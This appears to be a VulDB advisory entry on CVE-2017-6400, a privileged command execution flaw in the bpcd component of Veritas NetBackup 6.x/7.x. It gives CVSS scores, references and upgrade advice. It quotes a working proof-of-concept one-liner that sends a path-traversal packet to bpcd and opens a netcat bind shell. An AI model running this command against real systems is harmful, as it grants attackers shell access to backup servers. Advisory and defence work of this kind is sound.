Veritas NetBackup 6.x/7.x bpcd access control

CVSS Meta Temp Score
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Current Exploit Price (≈)
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CTI Interest Score
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7.6$0-$5k0.00

Summaryinfo

A vulnerability classified as problematic has been found in Veritas NetBackup 6.x/7.x. Impacted is an unknown function of the component bpcd. The manipulation leads to access control. This vulnerability is referenced as CVE-2017-6400. Remote exploitation of the attack is possible. Furthermore, an exploit is available. It is recommended to upgrade the affected component.

Detailsinfo

A vulnerability, which was classified as critical, has been found in Veritas NetBackup 6.x/7.x (Backup Software). This issue affects some unknown processing of the component bpcd. The manipulation with an unknown input leads to a access control vulnerability. Using CWE to declare the problem leads to CWE-264. Impacted is confidentiality, integrity, and availability. The summary by CVE is:

An issue was discovered in Veritas NetBackup Before 7.7.2 and NetBackup Appliance Before 2.7.2. Privileged command execution on NetBackup Server and Client can occur (on the local system).

The weakness was published 03/01/2017 by Sven Blumenstein, Xiaoran Wang and Andrew Griffiths with Google as Veritas NetBackup v6.x, v7.x, v8.0 and NetBackup appliances v2.x, v3.0 - Multiple Critical Vulnerabilities as not defined mailinglist post (Full-Disclosure). It is possible to read the advisory at seclists.org. The vendor was not involved in the public release. The identification of this vulnerability is CVE-2017-6400. Attacking locally is a requirement. Required for exploitation is a simple authentication. Technical details are unknown but a public exploit is available. The attack technique deployed by this issue is T1068 according to MITRE ATT&CK. The advisory points out:

Multiple critical vulnerabilities were identified in Veritas NetBackup and NetBackup appliance. The vulnerabilities were discovered during a black box security assessment and therefore the vulnerability list should not be considered exhaustive.

A public exploit has been developed by Sven Blumenstein/Xiaoran Wang/Andrew Griffiths and been published immediately after the advisory. The exploit is available at seclists.org. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 92 days. During that time the estimated underground price was around $0-$5k. The vulnerability scanner Nessus provides a plugin with the ID 104888 (Veritas NetBackup Appliance < 2.7.2 / 3.1.0 Multiple Vulnerabilities (VTS17-003)), which helps to determine the existence of the flaw in a target environment. It is assigned to the family CGI abuses. The commercial vulnerability scanner Qualys is able to test this issue with plugin 370336 (Veritas NetBackup Multiple Vulnerabilities.(VTS17-003)). The code used by the exploit is:

echo -ne "-437860936\x00\x00\x00\x31\x00\x00\x00O/usr/openv/netbackup/bin/../../../../../../../usr/bin/nc foo -lp 9999 -e/bin/sh" | nc 127.0.0.1 13782

Upgrading to version 8.0 eliminates this vulnerability. The mailinglist post contains the following remark:

The target date for patches that fix these issues is 29th September, 2017.

The vulnerability is also documented in the databases at Tenable (104888) and SecurityFocus (BID 96484†). Similar entries are available at VDB-97354, VDB-97356, VDB-97357 and VDB-97358. Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Affected

  • Veritas NetBackup Appliance 6.x/7.x
  • Veritas NetBackup Appliances 2.x

Productinfo

Type

Vendor

Name

Version

License

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 9.2
VulDB Meta Temp Score: 8.7

VulDB Base Score: 8.8
VulDB Temp Score: 7.3
VulDB Vector: 🔍
VulDB Reliability: 🔍

Vendor Base Score (Veritas): 9.9
Vendor Vector (Veritas): 🔍

NVD Base Score: 8.8
NVD Vector: 🔍

CVSSv2info

AVACAuCIA
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💳💳💳💳💳💳
💳💳💳💳💳💳
VectorComplexityAuthenticationConfidentialityIntegrityAvailability
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VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍

Exploitinginfo

Class: Access control
CWE: CWE-264
CAPEC: 🔍
ATT&CK: 🔍

Physical: Partially
Local: Yes
Remote: Yes

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: Sven Blumenstein/Xiaoran Wang/Andrew Griffiths
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍

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Nessus ID: 104888
Nessus Name: Veritas NetBackup Appliance < 2.7.2 / 3.1.0 Multiple Vulnerabilities (VTS17-003)
Nessus File: 🔍
Nessus Family: 🔍

Qualys ID: 🔍
Qualys Name: 🔍

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: Upgrade
Status: 🔍

0-Day Time: 🔍
Exploit Delay Time: 🔍

Upgrade: NetBackup 8.0

Timelineinfo

11/29/2016 🔍
12/02/2016 +3 days 🔍
03/01/2017 +89 days 🔍
03/01/2017 +0 days 🔍
03/01/2017 +0 days 🔍
03/02/2017 +1 days 🔍
04/19/2017 +48 days 🔍

Sourcesinfo

Advisory: Veritas NetBackup v6.x, v7.x, v8.0 and NetBackup appliances v2.x, v3.0 - Multiple Critical Vulnerabilities
Researcher: Sven Blumenstein, Xiaoran Wang, Andrew Griffiths
Organization: Google
Status: Not defined

CVE: CVE-2017-6400 (🔍)
GCVE (CVE): GCVE-0-2017-6400
GCVE (VulDB): GCVE-100-97355
SecurityFocus: 96484

scip Labs: https://www.scip.ch/en/?labs.20161013
See also: 🔍

Entryinfo

Created: 03/01/2017 11:08
Updated: 04/19/2017 10:34
Changes: 03/01/2017 11:08 (69), 04/19/2017 10:34 (24)
Complete: 🔍
Cache ID: 216::103

Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

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